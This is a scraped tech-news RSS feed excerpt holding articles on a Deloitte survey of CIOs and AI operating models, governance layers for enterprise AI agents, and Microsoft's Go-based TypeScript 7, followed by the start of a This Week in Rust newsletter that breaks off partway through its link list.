<p>More than 80% of senior IT executives surveyed for the 2026 <a href="https://www.deloitte.com/us/en/programs/chief-information-officer/articles/global-technology-leadership-study.html" rel="nofollow">Global Leadership Technology Study</a> from Deloitte are confident in their organizations’ ability to deploy and govern AI capabilities at scale. However, 75% think their operating models and processes must change in the next 12 to 18 months to drive greater value.</p>



<p>The survey results don’t signal an overconfidence from IT leaders in their teams’ ability to roll out AI, and they don’t seem to suggest a major AI choke point within the IT organization, says <a href="https://www.deloitte.com/us/en/about/people/profiles.anjalishaikh+80ed8985.html" rel="nofollow">Anjali Shaikh</a>, MD of Deloitte Consulting and leader of the Deloitte global CIO and US tech executive programs.</p>



<p>They do, however, point to a need for major changes to operating models and processes across the organization, not just within IT, to achieve better AI results, she says. And while CIOs can’t control how business workflows are designed, they have a role to play in pushing for processes that better make use of AI tools, she adds.</p>



<p>“What we’re hearing now is that AI isn’t just exposing those technology limitations, but enterprise design limitations,” Shaikh says. “What’s new is that technology is no longer the bottleneck, it’s the operating model and the ways of working.”</p>



<p>Business workflows that need to change are the manual processes that aren’t friendly to AI integration, like using spreadsheets for some accounting, or manual data entry.</p>



<h2 class="wp-block-heading">CIO as advocate</h2>



<p>CIOs can use their expertise to champion the redesign of enterprise workflows so they better align with AI tools like agents, Shaikh adds, creating opportunities for CIOs in a changing landscape.</p>



<p> “The AI era is starting to demand a new type of leader,” Shaikh says. “They’re going to have to guide the organization through this change, build AI-related teams, and figure out the skill set required for not only their team, but the overall business.”</p>



<p><a href="https://www.cio.com/article/4169668/ai-saddles-cios-with-new-make-or-break-expectations.html?utm=hybrid_search">Another conclusion</a> from the Deloitte report is that CIOs and other IT leaders are experiencing a make-or-break moment as they face major new expectations in their roles, including the ability to <a href="https://www.cio.com/article/3974090/state-of-the-cio-2025-cios-set-the-ai-agenda.html">lead change and build AI-ready teams</a>.</p>



<p>Leadership is important, Shaikh says, in that the organizations with the most successful AI deployments tend to be those with C-suite support for operating model and process change.</p>



<p>“It’s an investment and a commitment from the top down —  the board, CEO, and C-suite have made a commitment to saying we’re going to invest not only time, but budget, resources, and talent into helping us fundamentally shift the way we work,” she says. “When you get that alignment and commitment from the top, that sends a signal to everyone in the organization.”</p>



<p>Several IT leaders agree that several operating model and process changes are needed at many organizations.</p>



<h2 class="wp-block-heading">Focus on the right thing</h2>



<p>Many organizations are embracing AI by buying ChatGPT licenses and hosting lunch-and-learn sessions on prompt engineering, but they’re solving the wrong problem, says <a href="https://www.linkedin.com/in/ppschreuder/" rel="nofollow">Peter-Paul Schreuder</a>, chief cloud officer and VP of support at enterprise asset management software vendor Ultimo.</p>



<p>“Teaching people to use ChatGPT takes about an hour,” he says. “Teaching an organization to fundamentally rethink how work gets done takes four to five months of hard, unglamorous process work, but delivers exponentially more value.”</p>



<p>A major problem is that most organizations don’t understand their own workflows well enough to determine where AI could add value, he adds.</p>



<p>“They don’t know where the information gets stuck,” Schreuder says. “Which tasks consume disproportionate time? Where do we repeatedly reinvent the wheel because knowledge lives in someone’s head? Until you can answer those questions with specificity, no amount of AI training will matter.”</p>



<p>Getting the most out of AI takes a huge reset in the way businesses think how they complete their work, he adds, and if AI initiatives lack deep involvement from business operations leaders, they’re doomed to fail.</p>



<p>“If you can’t diagram how your work flows from intake to completion, you’re not ready for AI augmentation,” Schreuder adds. “If your list includes ‘summarize documents’ or ‘draft emails,’ you’re thinking about AI as a fancy word processor. Transformative applications are process specific.”</p>



<p>So some companies are clear about how they link new AI tools with workflow redesign. When financial services firm IMA Financial Group deploys a new AI capability, the company doesn’t treat it like a technology rollout, but as a transformation for how work gets done, says <a href="https://www.linkedin.com/in/megan-cullen-meyer-a209435/" rel="nofollow">Megan Cullen-Meyer</a>, its VP of data and AI. The company examines what tasks need to change, what roles need to be realigned, and what training and reskilling is needed, for instance.</p>



<p>With AI, IMA is automating routine, transactional work that used to burn up a lot of human time and energy.</p>



<p>“We talk a lot about how applying AI to old, outdated processes isn’t how we’re going to get the value we want from AI,” she says. “We’re taking a hard look at our core tasks and workflows to determine where we automate the work, where we augment work, and where we keep humans at the center.”</p>



<h2 class="wp-block-heading">Setting the right foundation</h2>



<p>The Deloitte report suggests that the IT team can’t build AI tools in a vacuum, says <a href="https://www.linkedin.com/in/luismesas/?locale=en" rel="nofollow">Luis Mesas</a>, VP of product engineering at IT services provider Sngular. The value of AI comes when the organization develops a good governance framework to start with, can keep learning from what’s happening in its workflows, and can adjust the system without turning every improvement into a new initiative, he adds.</p>



<p>“This requires IT to work much closer with the business problem from the beginning,” he says. “Engineering teams can’t build AI systems in isolation and expect adoption to follow later, because they need to understand the process, the quality of the data behind it, and the risk of getting the answer wrong before they can design something that’ll hold up in day-to-day use.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three keys to deploying AI agents]]></title>
<description><![CDATA[Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.



Gartner predicts that more than 40% of agentic AI projects will be canceled by 2027...]]></description>
<link>https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.</p>



<p>Gartner predicts that more than <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">40% of agentic AI projects will be canceled</a> by 2027, and the <a href="https://artificialintelligenceact.eu/article/14/">EU AI Act Article 14</a> requirements for human oversight for high-risk AI systems take effect on August 2, 2026. The deciding factor for whether agentic AI reaches production isn’t the model, the framework, or the use case. It’s the infrastructure beneath the agent: the part the people building agents have never had to think about.</p>



<p>Organizations are racing to deploy agentic AI to stay competitive, which means pressure-testing is often overlooked. Every agent project should be scrutinized by three executives asking three different sets of questions. The CISO asks whether we are exposed. The CFO asks whether we are overspending. The chief AI officer asks whether we are getting value. </p>



<p>As a product leader focused on AI governance, I see this pattern across customer environments. Three architecture layers answer those three questions: identity, observability, and cost optimization. I’ll walk through each of the layers and provide a four-question diagnostic for the next production push.</p>



<h2 class="wp-block-heading">Why AI pilots stall</h2>



<p>An agent is not a faster chatbot. It chains dozens of steps, calls external tools, retains state across sessions, and triggers real-world actions. Most inherit the credentials of whoever deployed them. They operate at machine speed without context for the consequences of each step.</p>



<p>The mismatch is not a competence gap on the human side. It is a time-horizon gap. An engineer reasons about a database change over hours. An agent triggers a hundred of them before anyone reviews the first. Traditional audit logging captures request and response. That does not catch this pattern.</p>



<p>When something breaks, the cost is rarely the incident. It is the months of stalled deployment that follow. The risk committee freezes pilots. The productivity gains the program was supposed to deliver never materialize. Finance still gets the API bill. Three architecture layers decide whether a deployment survives that pattern. Each one is the answer to a question the people building agents never had to ask.</p>



<h2 class="wp-block-heading">Layer 1: Identity for non-human actors</h2>



<p>Start with identity. The default failure looks routine: a product manager with broad API access spawns an agent that inherits the full scope of those credentials and runs at machine speed across systems no one inventoried.</p>



<p>The scale is bigger than most teams realize. <a href="https://www.signisys.com/blog/non-human-identities-outnumber-users-100-to-1-the-cloud-security-crisis-no-one-is-talking-about/">Industry IAM research</a> puts non-human identities at more than 100 to 1 versus human accounts, with <a href="https://www.cybersecuritytribe.com/news/research-reveals-44-growth-in-nhis-from-2024-to-2025">some 2026 surveys</a> putting the ratio as high as 144 to 1. A <a href="https://www.orchid.security/reports/the-identity-gap-2026-snapshot-identity-insight-straight-from-the-source">May 2026 Identity Gap Report</a> found two-thirds are unseen and unmanaged.</p>



<p>Agents are moving from human identities with their “owners”’ permissions to first-class principals. They are purpose-bound, cryptographically attested, and scoped to one task at a time. Google’s Agent Identity, built on SPIFFE, is one early example. The production pattern has three properties. Credentials are issued per agent task. Token lifetime is measured in minutes to hours, not weeks. Scope is narrowed to the specific tools and data classes the task requires, and the credential revokes automatically on task completion.</p>



<p>If a single static credential is good for a week and 50 different tasks, you are not running agentic AI. You are running a service account with extra steps.</p>



<h2 class="wp-block-heading">Layer 2: Observability that serves all three executives</h2>



<p>Identity controls what an agent can do. Observability shows what it’s actually doing. One instrumentation layer, three views.</p>



<p>First, the security view. Traditional logging captures request and response, which assumes one human action per logged event. An agent’s unit of work is a chain. Pick a tool, call it, read the result, decide the next step. Twenty steps, some of them writing to production. Instrument every step as a durable audit object, independently queryable. Understand which tool was invoked, what data was accessed, what policy applied, and what the agent reasoned to justify the next step. That’s what Article 14 oversight requires for production.</p>



<p>Second, the business-outcomes view. Audit objects answer the CISO. The chief AI officer asks a different question. Is the agent accomplishing what we deployed it for, or burning compute on a tangent? An agent can run 200 tool calls, generate clean audit logs, and produce nothing. It might be looping on a sub-goal that drifted three steps back. Observe each step against the declared business purpose: on-task ratio, sub-goal coherence, progress markers. Project management telemetry for a non-human worker.</p>



<p>Third, the cost view. The same per-step instrumentation produces cost telemetry: token count per step, model per call, context size per turn, downstream tool-call costs. Without that attribution, the next section’s optimizations are blind.</p>



<p>A busy agent and a productive agent look identical in the security log. They look identical on the bill too. The difference shows up only when all three views run from the same instrumentation.</p>



<h2 class="wp-block-heading">Layer 3: Cost optimization</h2>



<p>Cost is where the architecture pays back. Gartner’s March 2026 analysis put <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-25-gartner-predicts-that-by-2030-performing-inference-on-an-llm-with-1-trillion-parameters-will-cost-genai-providers-over-90-percent-less-than-in-2025">agentic workloads at five to 30 times the token cost per task</a> of a standard chatbot. The FinOps Foundation’s 2026 State of FinOps report found that <a href="https://data.finops.org/">73% of organizations exceeded their original AI budget projections</a>. Three failure modes drive that overrun.</p>



<p>First, using the wrong model. Agents default to the most capable one available. They call a frontier model for tasks a smaller one could handle with identical quality: summarizing a transcript, formatting JSON, classifying a ticket. The <a href="https://proceedings.iclr.cc/paper_files/paper/2025/hash/5503a7c69d48a2f86fc00b3dc09de686-Abstract-Conference.html">RouteLLM paper at ICLR 2025</a> demonstrated that intelligent routing cuts total LLM inference cost 40% to 80% with no measurable quality loss on routine work. Move model selection from a per-developer choice to a per-policy layer.</p>



<p>Second, running in loops. Agents can spend without limit if no one is watching. A widely-cited 2026 incident saw a <a href="https://dev.to/dingdawg/how-an-ai-agent-ran-up-a-47000-bill-in-11-days-and-how-to-stop-it-1fk">LangChain multi-agent system run an infinite loop for 11 days and burn $47,000 in API charges</a>. Per-session token ceilings, <a href="https://fountaincity.tech/resources/blog/ai-agent-cost-circuit-breaker/">loop-detection circuit breakers</a> that flag tool calls highly similar to prior calls, and hard daily caps stop this before it generates the bill. In our deployments, a <a href="https://www.supra-wall.com/en/learn/ai-agent-runaway-costs">three-tier cost structure</a> catches the bulk of runaway patterns: a $50 daily soft alert, a $100 daily hard cutoff forcing routing to cheaper models, and a $1,000 monthly ceiling requiring manager approval.</p>



<p>Third, re-paying for the same context on every step. Every step re-sends the accumulated system prompt and conversation history. By step 20 the agent has paid for that context 20 times. <a href="https://www.vantage.sh/blog/agentic-coding-costs">Vantage’s 2026 analysis of agentic coding sessions</a> found re-sent context accounts for roughly 62% of the average agent’s bill, the biggest single optimization target in agentic workloads. Three patterns help: anchored summarization at phase boundaries, sliding context windows, and provider-native prompt caching at the gateway. Most agents skip caching entirely, though <a href="https://platform.claude.com/docs/en/build-with-claude/prompt-caching">Anthropic</a> prices cached input at roughly 10% of base, <a href="https://developers.googleblog.com/en/gemini-2-5-models-now-support-implicit-caching/">Gemini</a> at 10% to 25%, and <a href="https://openai.com/index/api-prompt-caching/">OpenAI</a> at 50%.</p>



<p>Governing agent cost means seeing every call, every model, every token attributed to the agent and the business purpose. Then act on it. Token counts without business attribution tell you how many gallons of gas you burned, not where you drove.</p>



<h2 class="wp-block-heading">The deployment velocity payoff</h2>



<p>The three layers serve the three executive questions. Identity gates what the agent can do. Observability shows what it is doing. Cost optimization controls what it spends.</p>



<p>The honest counterargument is that governance always slows deployment. That is true when governance is bolted on as approval gates layered over an agent that wasn’t built with observability or per-task identity. It is false when governance is built into the architecture from day one. Teams that experience governance as a brake installed the brake without the steering wheel.</p>



<p>Governance built right still costs something. Per-task credentials add work on every tool call. Observability infrastructure adds compute. The question is whether that cost beats the alternative.</p>



<p>The layers compound. Identity without observability is theoretical. Observability without cost control is descriptive. Without identity at the bottom, cost control becomes caps without context, forever reactive. All three together produce a governance review that runs in weeks, not quarters, because the data each executive needs already exists. In our experience, organizations with that infrastructure can deploy six workflows to production in the time competitors complete one governance review. The real ROI of agentic AI is not how much faster a single workflow runs. In practice, it’s how many workflows your team can defensibly put into production in a year.</p>



<h2 class="wp-block-heading">Before the next pilot</h2>



<p>Here are four questions to run against any agent your team is about to push to production:</p>



<ol class="wp-block-list">
<li>Identity. For each agent in production, can you point to the per-task credentials it uses today, and the maximum scope of any single token?</li>



<li>Observability. For any agent session, can you produce three views from the same instrumentation: the audit object per step, the on-task ratio versus tangents, and the per-step cost broken down by model and context size?</li>



<li>Cost optimization. Does your platform automatically route by model, cap runaway loops, and avoid re-sending the same context every step?</li>



<li>Velocity. How long does it take a new agent workflow to move from approved pilot to production in your environment today?</li>
</ol>



<p>If the answer is months, the architecture above is the gap. Gartner’s 40% stat is about your next pilot.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Revving up Microsoft’s 10x faster TypeScript 7]]></title>
<description><![CDATA[It has been a year or so since Microsoft announced its plans to move TypeScript to a new, native runtime based on the Go language. Those first releases were unfinished (you had to compile them yourself) but showed promise, getting close to the expected 10x speed-up. That year has been one of stea...]]></description>
<link>https://tsecurity.de/de/3656432/ai-nachrichten/revving-up-microsofts-10x-faster-typescript-7/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656432/ai-nachrichten/revving-up-microsofts-10x-faster-typescript-7/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/3849654/typescript-gets-go-faster-stripes.html">It has been a year or so</a> since Microsoft announced its plans to move <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to a new, native runtime based on the <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html" data-type="link" data-id="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go language</a>. Those first releases were unfinished (you had to compile them yourself) but showed promise, getting close to the expected 10x speed-up. That year has been one of steady progress, with <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/">Microsoft recently announcing the delivery of a release candidate build</a>.</p>



<p>This release candidate is ready for use. It installs from npm like previous versions, and like earlier builds it works in much the same way as previous versions of TypeScript, checking types in your code, compiling it to run on ECMAScript-compliant JavaScript engines, and running just about anywhere. In addition, a native preview of the TypeScript language server for <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> is available to help you write new TypeScript code and guide you through updating existing applications to the new language features.</p>



<p>All you need to do is enable the <a href="https://marketplace.visualstudio.com/items?itemName=TypeScriptTeam.native-preview" data-type="link" data-id="https://marketplace.visualstudio.com/items?itemName=TypeScriptTeam.native-preview">TypeScript 7 extension</a> through the Visual Studio command palette and start coding. There’s a lot of work going on to get the new tooling ready for the final release of TypeScript 7, and new versions of the language server are being released almost daily. It’s certainly popular, too, with nearly half a million downloads at the time of writing.</p>



<h2 class="wp-block-heading">What makes TypeScript 7 so much faster?</h2>



<p>So how is this new TypeScript so much faster? Key to the improvements is a shift to a new native compiler built in Go. This has allowed the team to change how it operates, adding parallelization where possible. In some cases, this isn’t easy, such as when type checking large codebases split across many files.</p>



<p>Here TypeScript spawns a small number of checker workers that run across your codebase. They work independently, so can duplicate the work — though the output will be the same. You can choose your own number of checkers, but the more you use, the more memory and CPU will be required.</p>



<p>Large monorepos with many projects require a similar approach with independent builder workers. You’ll need to balance this with the number of checkers in use, as this can cause significant resource issues.</p>



<p>There are some significant language and configuration changes from TypeScript 5 (TypeScript 6 has the same changes, which makes it a useful tool for experimenting with migrations). It’s well worth reading the release candidate documentation to understand how these will affect your code, as well as using the TypeScript 7 extension for Visual Studio Code to identify where you need to make changes.</p>



<h2 class="wp-block-heading">Working with users to build language tools</h2>



<p>One important aspect to the development of TypeScript 7 has been collaboration with existing users of the language and its tooling, as well as using the existing suite of TypeScript test tools that have been used to evaluate other versions. As this update is primarily a port of existing code, rather than a bottom-up rewrite, the underlying language semantics and structure are the same as those used in the original JavaScript codebase, ensuring that code will quickly port from old to new versions.</p>



<p>A major internal collaborator was the Visual Studio Code team, who have been using TypeScript to develop the familiar cross-platform development tool. It’s an important partnership between tool and language, as VS Code is a key TypeScript development tool, hosting TypeScript’s language server and using its compiler to provide debugging and code completion features.</p>



<p>The <a href="https://code.visualstudio.com/blogs/2026/06/26/iterating-faster-with-ts-7" data-type="link" data-id="https://code.visualstudio.com/blogs/2026/06/26/iterating-faster-with-ts-7">VS Code team published a long blog post</a> detailing how it has been working with the Go-based TypeScript. The team is both helping to develop the language and beginning the process of moving its codebase to the newer, faster, native platform.</p>



<p>How the VS Code team migrated is a useful case study, one that can help you move your TypeScript development more efficiently and with minimal risk. The team began working with extensions, using daily builds of TypeScript to ensure that bugs and issues could be reported as they occurred and would only have a limited impact as fixes could be rolled out quickly. At the same time, the VS Code team began using a preview version of the TypeScript 7 extension for VS Code, which was being built around the new compiler in parallel with its development.</p>



<h2 class="wp-block-heading">Bridging development with TypeScript 6</h2>



<p>The development of <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/" data-type="link" data-id="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">TypeScript 6 as a bridge between TypeScript 5 and TypeScript 7</a> allowed the VS Code team to transition to code that targeted a newer version of ECMAScript and provided more powerful checks. By moving code from TypeScript 5 to TypeScript 6, developers could validate it with what would become TypeScript 7 language features and get speed and performance boosts while doing so (though nowhere near what TypeScript 7 promised). By completing this first migration of the VS Code codebase, it was possible for developers to be confident that they were ready to shift to the Go-based version when it shipped.</p>



<p>The parallel development of the new language server and extension ensured that by late 2025 it was possible for VS Code development to shift to TypeScript 7, with TypeScript 6 used as a fallback if there were any issues. Those cases could then be reported back to the TypeScript team and used to prioritize development.</p>



<p>As the platform evolved, the use cases for the VS Code team changed. By early 2026 TypeScript 7 was stable and nearly feature-complete, so the team began to use it to build all of their own built-in extensions. This allowed them to rethink their toolchain, changing the bundler from webpack to the one built into esbuild, giving them another speed up. Once that process was tested and working, they could switch all development to TypeScript 7.</p>



<p>Having such a big project take on TypeScript 7 early reaped big rewards, as the resulting virtuous cycle allowed both VS Code and TypeScript to move forward together, fixing issues as they arose and providing valuable feedback. The results speak for themselves. Type checking the entire VS Code codebase is now 7x faster, with most extensions checked in under a second. The only exception was <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>, which is almost as big as the editor itself, which type checked in 2.5 seconds.</p>



<p>Compilation has been sped up, dropping from 80 seconds to around 20 seconds. This may not seem a lot, but when you’re compiling and rebuilding and debugging, each change in your code now takes a lot less time. That improves developer productivity and ensures they stay in flow, rather than switching away to check email or Teams each time they start a new build. The same goes for using the language server, where loading the entire project (necessary for error detection and refactoring) now takes 10 seconds rather than a minute.</p>



<p>Lots of little time savings like this add up across a big project and a large team, helping developers stay focused and able to solve problems more effectively. The VS Code blog post notes that it cuts down on coffee runs, which take longer than the load or build that inspire a quick cuppa!</p>



<h2 class="wp-block-heading">Getting ready for TypeScript 7 in your build pipeline</h2>



<p>Microsoft is quick to point out that, while the TypeScript 7.0 release will be production ready, TypeScript 7 won’t have a full programmatic API until the release of TypeScript 7.1. As this won’t be for some time, Microsoft is providing <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/#running-side-by-side-with-typescript-6.0" data-type="link" data-id="https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/#running-side-by-side-with-typescript-6.0">a way to run TypeScript 7 side-by-side with TypeScript 6</a>.</p>



<p>Installing the <code>@typescript/typescript6</code> compatibility package alongside TypeScript 7 adds a new executable, <code>tsc6</code>, that allows you to modify code that uses the TypeScript 5 API to run using TypeScript 6, by renaming the calls to <code>tsc</code> in your scripts to <code>tsc6</code>. This should allow you to keep building to the latest releases at the same time as starting to experiment with using the new runtime.</p>



<p>It’s not a perfect fix. You do need to do some work to implement npm aliases that allow linters and other low-level tools to work with both versions. You can also provide two different dependencies in your package.json to allow TypeScript 6 (<code>tsc6</code>) and TypeScript 7 (<code>tsc</code>) to run side-by-side. The result is a way to help migrate TypeScript code to the newer platform, delivering more efficient code that runs on a more modern ECMAScript in the meantime.</p>



<p>TypeScript 7 will be a big upgrade, though it has taken surprisingly little time to deliver. With users like the Visual Studio Code team already building on the new release, it’s clear that beginning your own migration should be easier than you might have thought.</p>



<p>The final release is due sometime in July 2026. If you haven’t started looking at TypeScript 7, now is the time to start.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 659]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</guid>
<pubDate>Thu, 09 Jul 2026 07:08:34 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/07/maintainer-spotlight-gen-li-rami3l/">Maintainer spotlight: Gen Li (@rami3l)</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/06/unite-for-clippy/">Together for a healthier Clippy</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-75">The Embedded Rustacean Issue #75</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://www.copper-robotics.com/whats-new/copper-rs-v100">copper-rs v1.0.0</a>: the open source deterministic robotics OS is now stable.</li>
<li><a href="https://rayfish.xyz/blog/01-introducing-rayfish">Rayfish: Your own private network. No servers, no setup.</a></li>
<li><a href="https://plabayo.tech/blog/rama-0-3">rama v0.3.0 — network service framework ready to be used by the wider Rust community</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.9.0">kache 0.9.0: supply-chain hardening + read-only CI cache</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/07/04/meet-guardiandbs-new-postgresql-compatibility-layer/">GuardianDB - PostgreSQL and P2P/Local-First Together</a></li>
<li><a href="https://buildnectar.com/">Nectar: a Rust-like language that compiles your whole web app to WebAssembly</a></li>
<li><a href="https://thekeeper.io/blog/logdrain-log-template-mining-in-rust/">logdrain: Fast, Embeddable Log-Template Mining in Rust</a></li>
<li><a href="https://medium.com/@vbasky/packaging-the-worlds-video-in-pure-rust-ff1f6b884fec">sheathe: Packaging the World's Video in Pure Rust</a></li>
<li><a href="https://docs.wickra.org/Quickstart-Rust">wickra: streaming-first technical indicators</a></li>
<li><a href="https://github.com/TeamXcelerator/xcelerator-solver/releases/tag/v0.1.0">Xcelerator Solver v0.1.0 -- deterministic symbolic regression</a></li>
<li><a href="https://github.com/tkmsikd/dlt-tui/releases/tag/v1.1.0">dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files</a></li>
<li><a href="https://github.com/shihuili1218/rssh/releases/tag/v0.2.11">RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops</a></li>
<li><a href="https://blog.none.at/blog/2026/2026-07-06-k8s-scale-app-rs/">k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob</a></li>
<li><a href="https://dev.to/sicklefire/m-vis-v050-rc1-update-11cp">M-vis v0.5.0-rc1 update</a></li>
<li><a href="https://ganeshsivakumar.substack.com/p/flaredb">FlareDB: An Apache Beam Native Streaming Database built in Rust</a></li>
<li><a href="https://holovskyi.github.io/blog/typed-mqtt-topics-for-rust/">mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc</a></li>
<li><a href="https://github.com/LeChatP/RootAsRole/releases/tag/v4.0.0">RootAsRole: v4.0.0 Major release, secure execution, new logo</a></li>
<li><a href="https://www.qt.io/blog/rust-ui-framework-via-bridging-technology">A Cross-Platform Rust UI Framework via Qt’s Bridging Technology</a></li>
<li><a href="https://rapha.land/jam-programming-language/">Jam Programming Language</a></li>
<li><a href="https://www.clever.cloud/blog/company/2026/07/01/sozu-2-1-0-udp-load-balancer-programmable-edge/">Sōzu 2.1.0: UDP load balancing for the programmable edge</a></li>
<li><a href="https://op3kay.dev/writing/b0nker">b0nker: a minimal container runtime written in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=SGR5qBdwk30">Rust Berlin Meetup 25/06/2026 Livestream</a></li>
<li>[video] <a href="https://www.youtube.com/live/_LtgHxuysUo">How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter</a></li>
<li><a href="https://kerkour.com/rustcrypto-slow-simd-rust">Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration</a></li>
<li><a href="https://parsa.wtf/cast/">bool as u32</a></li>
<li><a href="https://arxiv.org/html/2605.30106">A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report</a></li>
<li><a href="https://blog.dureuill.net/articles/wip/">Work In Progress Rust</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=Fk165jYfHpc">OpenAI just spent $600k on Rust</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e07-rising-academies/">Rising Academies with Dylan Brown - Rust in Production Podcast</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[series] <a href="https://aibodh.com/posts/bevy-tutorial-build-your-first-3d-editor-in-rust/">Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-axum-basics-and-routing-by-building-a-url-shortener/">Learn Axum Basics and Routing by Building a URL Shortener</a></li>
